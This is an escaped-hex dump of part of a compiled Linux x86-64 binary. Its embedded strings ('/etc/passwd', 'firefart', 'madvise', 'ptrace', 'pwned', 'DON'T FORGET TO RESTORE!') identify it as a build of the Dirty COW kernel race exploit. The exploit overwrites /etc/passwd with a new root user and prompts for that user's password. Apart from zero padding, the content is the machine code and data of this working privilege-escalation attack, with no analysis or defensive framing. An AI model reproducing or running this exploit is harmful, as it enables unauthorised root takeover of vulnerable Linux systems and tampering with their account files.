x00\x00\x00\x00\xC7\x45\xA4\x00\x00\x00\x00\x48\x8D\x05\x5F\x0B\x00\x00\x48\x89\x45\xA8\x48\x8D\x05\x5A\x0B\x00\x00\x48\x89\x45\xB0\x48\x8D\x05\x55\x0B\x00\x00\x48\x89\x45\xB8\x83\x7D\x8C\x01\x7E\x29\x48\x8B\x45\x80\x48\x8B\x40\x08\x48\x89\x45\xE8\x48\x8B\x45\xE8\x48\x89\xC6\x48\x8D\x05\x3C\x0B\x00\x00\x48\x89\xC7\xB8\x00\x00\x00\x00\xE8\xD7\xFA\xFF\xFF\xEB\x13\x48\x8D\x05\x4E\x0B\x00\x00\x48\x89\xC7\xE8\x66\xFB\xFF\xFF\x48\x89\x45\xE8\x48\x8B\x45\xE8\x48\x89\xC7\xE8\xEF\xFC\xFF\xFF\x48\x89\x45\x98\x48\x83\xEC\x30\x48\x89\xE0\x48\x8B\x4D\x90\x48\x8B\x5D\x98\x48\x89\x08\x48\x89\x58\x08\x48\x8B\x4D\xA0\x48\x8B\x5D\xA8\x48\x89\x48\x10\x48\x89\x58\x18\x48\x8B\x4D\xB0\x48\x8B\x5D\xB8\x48\x89\x48\x20\x48\x89\x58\x28\xE8\xD4\xFC\xFF\xFF\x48\x83\xC4\x30\x48\x89\x45\xC8\x48\x8B\x45\xC8\x48\x89\xC6\x48\x8D\x05\x01\x0B\x00\x00\x48\x89\xC7\xB8\x00\x00\x00\x00\xE8\x54\xFA\xFF\xFF\x48\x8B\x05\xAD\x2A\x00\x00\xBE\x00\x00\x00\x00\x48\x89\xC7\xB8\x00\x00\x00\x00\xE8\xEB\xFA\xFF\xFF\x89\x05\xE5\x2A\x00\x00\x8B\x05\xDF\x2A\x00\x00\x48\x8D\x15\xF8\x2A\x00\x00\x48\x89\xD6\x89\xC7\xE8\x3E\xFB\xFF\xFF\x8B\x15\xC8\x2A\x00\x00\x48\x8B\x05\x11\x2B\x00\x00\x48\x83\xC0\x08\x41\xB9\x00\x00\x00\x00\x41\x89\xD0\xB9\x02\x00\x00\x00\xBA\x01\x00\x00\x00\x48\x89\xC6\xBF\x00\x00\x00\x00\xE8\xDD\xF9\xFF\xFF\x48\x89\x05\x9E\x2A\x00\x00\x48\x8B\x05\x97\x2A\x00\x00\x48\x89\xC6\x48\x8D\x05\x88\x0A\x00\x00\x48\x89\xC7\xB8\x00\x00\x00\x00\xE8\xC8\xF9\xFF\xFF\xE8\xF3\xFA\xFF\xFF\x89\x05\x7D\x2A\x00\x00\x8B\x05\x77\x2A\x00\x00\x85\xC0\x0F\x84\xD9\x00\x00\x00\x8B\x05\x69\x2A\x00\x00\xBA\x00\x00\x00\x00\xBE\x00\x00\x00\x00\x89\xC7\xE8\x28\xFA\xFF\xFF\xC7\x45\xD8\x00\x00\x00\x00\x48\x8B\x45\xC8\x48\x89\xC7\xE8\x65\xF9\xFF\xFF\x89\x45\xC4\xC7\x45\xE0\x00\x00\x00\x00\xEB\x76\xC7\x45\xDC\x00\x00\x00\x00\xEB\x61\xC7\x45\xE4\x00\x00\x00\x00\xEB\x4B\x8B\x45\xDC\x48\x63\xD0\x48\x8B\x45\xC8\x48\x01\xD0\x48\x8B\x10\x48\x8B\x0D\x08\x2A\x00\x00\x8B\x45\xDC\x48\x98\x48\x8D\x34\x01\x8B\x05\x01\x2A\x00\x00\x48\x89\xD1\x48\x89\xF2\x89\xC6\xBF\x04\x00\x00\x00\xB8\x00\x00\x00\x00\xE8\x8A\xF9\xFF\xFF\x89\xC2\x8B\x45\xD8\x01\xD0\x89\x45\xD8\x83\x45\xE4\x01\x81\x7D\xE4\x0F\x27\x00\x00\x7E\xAC\x83\x45\xDC\x01\x8B\x45\xDC\x3B\x45\xC4\x7C\x97\x83\x45\xE0\x01\xB8\x10\x27\x00\x00\x99\xF7\x7D\xC4\x39\x45\xE0\x0F\x8C\x78\xFF\xFF\xFF\x8B\x45\xD8\x89\xC6\x48\x8D\x05\xA3\x09\x00\x00\x48\x89\xC7\xB8\x00\x00\x00\x00\xE8\xD8\xF8\xFF\xFF\xEB\x57\xB9\x00\x00\x00\x00\x48\x8D\x05\xE0\xFB\xFF\xFF\x48\x89\xC2\xBE\x00\x00\x00\x00\x48\x8D\x05\x83\x29\x00\x00\x48\x89\xC7\xE8\x23\xF9\xFF\xFF\xBF\x00\x00\x00\x00\xB8\x00\x00\x00\x00\xE8\x04\xF9\xFF\xFF\xE8\x5F\xF8\xFF\xFF\xBE\x13\x00\x00\x00\x89\xC7\xE8\xD3\xF8\xFF\xFF\x48\x8B\x05\x54\x29\x00\x00\xBE\x00\x00\x00\x00\x48\x89\xC7\xE8\x7F\xF9\xFF\xFF\x48\x8B\x05\xD8\x28\x00\x00\x48\x89\xC6\x48\x8D\x05\x3E\x09\x00\x00\x48\x89\xC7\xB8\x00\x00\x00\x00\xE8\x61\xF8\xFF\xFF\x48\x8B\x45\x90\x48\x8B\x55\xE8\x48\x89\xC6\x48\x8D\x05\x57\x09\x00\x00\x48\x89\xC7\xB8\x00\x00\x00\x00\xE8\x42\xF8\xFF\xFF\x48\x8B\x15\x9B\x28\x00\x00\x48\x8B\x05\x9C\x28\x00\x00\x48\x89\xC6\x48\x8D\x05\x72\x09\x00\x00\x48\x89\xC7\xB8\x00\x00\x00\x00\xE8\x1D\xF8\xFF\xFF\xB8\x00\x00\x00\x00\x48\x8B\x5D\xF8\xC9\xC3\x00\x00\x48\x83\xEC\x08\x48\x83\xC4\x08\xC3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x02\x00\x00\x00\x00\x00\x2F\x65\x74\x63\x2F\x70\x61\x73\x73\x77\x64\x00\x2F\x74\x6D\x70\x2F\x70\x61\x73\x73\x77\x64\x2E\x62\x61\x6B\x00\x66\x69\x72\x65\x66\x61\x72\x74\x00\x25\x73\x3A\x25\x73\x3A\x25\x64\x3A\x25\x64\x3A\x25\x73\x3A\x25\x73\x3A\x25\x73\x0A\x00\x6D\x61\x64\x76\x69\x73\x65\x20\x25\x64\x0A\x0A\x00\x46\x69\x6C\x65\x20\x25\x73\x20\x61\x6C\x72\x65\x61\x64\x79\x20\x65\x78\x69\x73\x74\x73\x21\x20\x50\x6C\x65\x61\x73\x65\x20\x64\x65\x6C\x65\x74\x65\x20\x69\x74\x20\x61\x6E\x64\x20\x72\x75\x6E\x20\x61\x67\x61\x69\x6E\x0A\x00\x72\x00\x77\x00\x00\x00\x00\x00\x25\x73\x20\x73\x75\x63\x63\x65\x73\x73\x66\x75\x6C\x6C\x79\x20\x62\x61\x63\x6B\x65\x64\x20\x75\x70\x20\x74\x6F\x20\x25\x73\x0A\x00\x70\x77\x6E\x65\x64\x00\x2F\x72\x6F\x6F\x74\x00\x2F\x62\x69\x6E\x2F\x62\x61\x73\x68\x00\x00\x50\x6C\x65\x61\x73\x65\x20\x65\x6E\x74\x65\x72\x20\x74\x68\x65\x20\x6E\x65\x77\x20\x70\x61\x73\x73\x77\x6F\x72\x64\x3A\x20\x25\x73\x0A\x00\x00\x00\x00\x00\x00\x50\x6C\x65\x61\x73\x65\x20\x65\x6E\x74\x65\x72\x20\x74\x68\x65\x20\x6E\x65\x77\x20\x70\x61\x73\x73\x77\x6F\x72\x64\x3A\x20\x00\x43\x6F\x6D\x70\x6C\x65\x74\x65\x20\x6C\x69\x6E\x65\x3A\x0A\x25\x73\x0A\x00\x6D\x6D\x61\x70\x3A\x20\x25\x6C\x78\x0A\x00\x70\x74\x72\x61\x63\x65\x20\x25\x64\x0A\x00\x00\x00\x00\x00\x00\x00\x00\x44\x6F\x6E\x65\x21\x20\x43\x68\x65\x63\x6B\x20\x25\x73\x20\x74\x6F\x20\x73\x65\x65\x20\x69\x66\x20\x74\x68\x65\x20\x6E\x65\x77\x20\x75\x73\x65\x72\x20\x77\x61\x73\x20\x63\x72\x65\x61\x74\x65\x64\x2E\x0A\x00\x00\x00\x00\x00\x59\x6F\x75\x20\x63\x61\x6E\x20\x6C\x6F\x67\x20\x69\x6E\x20\x77\x69\x74\x68\x20\x74\x68\x65\x20\x75\x73\x65\x72\x6E\x61\x6D\x65\x20\x27\x25\x73\x27\x20\x61\x6E\x64\x20\x74\x68\x65\x20\x70\x61\x73\x73\x77\x6F\x72\x64\x20\x27\x25\x73\x27\x2E\x0A\x0A\x00\x00\x0A\x44\x4F\x4E\x27\x54\x20\x46\x4F\x52\x47\x45\x54\x20\x54\x4F\x20\x52\x45\x53\x54\x4F\x52\x45\x21\x20\x24\x20\x6D\x76\x20\x25\x73\x20\x25\x73\x0A\x00\x00\x00\x01\x1B\x03\x3B\x4C\x00\x00\x00\x08\x00\x00\x00\x40\xEE\xFF\xFF\x98\x00\x00\x00\xD0\xEF\xFF\xFF\xC0\x00\x00\x00\xE0\xEF\xFF\xFF\x68\x00\x00\x00\xC9\xF0\xFF\xFF\xD8\x00\x00\x00\xED\xF0\xFF\xFF\xF8\x00\x00\x00\xA6\xF1\xFF\xFF\x18\x01\x00\x00\x07\xF2\xFF\xFF\x38\x01\x00\x00\x16\xF3\xFF\xFF\x58\x01\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x00\x00\x00\x01\x7A\x52\x00\x01\x78\x10\x01\x1B\x0C\x07\x08\x90\x01\x07\x10\x14\x00\x00\x00\x1C\x00\x00\x00\x70\xEF\xFF\xFF\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x00\x00\x00\x01\x7A\x52\x00\x01\x78\x10\x01\x1B\x0C\x07\x08\x90\x01\x00\x00\x24\x00\x00\x00\x1C\x00\x00\x00\xA0\xED\xFF\xFF\x90\x01\x00\x00\x00\x0E\x10\x46\x0E\x18\x4A\x0F\x0B\x77\x08\x80\x00\x3F\x1A\x3B\x2A\x33\x24\x22\x00\x00\x00\x00\x14\x00\x00\x00\x44\x00\x00\x00\x08\xEF\xFF\xFF\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1C\x00\x00\x00\x5C\x00\x00\x00\xE9\xEF\xFF\xFF\x24\x00\x00\x00\x00\x41\x0E\x10\x86\x02\x43\x0D\x06\x5F\x0C\x07\x08\x00\x00\x00\x1C\x00\x00\x00\x7C\x00\x00\x00\xED\xEF\xFF\xFF\xB9\x00\x00\x00\x00\x41\x0E\x10\x86\x02\x43\x0D\x06\x02\xB4\x0C\x07\x08\x00\x00\x1C\x00\x00\x00\x9C\x00\x00\x00\x86\xF0\xFF\xFF\x61\x00\x00\x00\x00\x41\x0E\x10\x86\x02\x43\x0D\x06\x02\x5C\x0C\x07\x08\x00\x00\x1C\x00\x00\x00\xBC\x00\x00\x00\xC7\xF0\xFF\xFF\x0F\x01\x00\x00\x00\x41\x0E\x10\x86\x02\x43\x0D\x06\x03\x0A\x01\x0C\x07\x08\x00\x20\x00\x00\x00\xDC\x00\x00\x00\xB6\xF1\xFF\xFF\x68\x03\x00\x00\x00\x41\x0E\x10\x86\x02\x43\x0D\x06\x45\x83\x03\x03\x5E\x03\x0C\x07\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00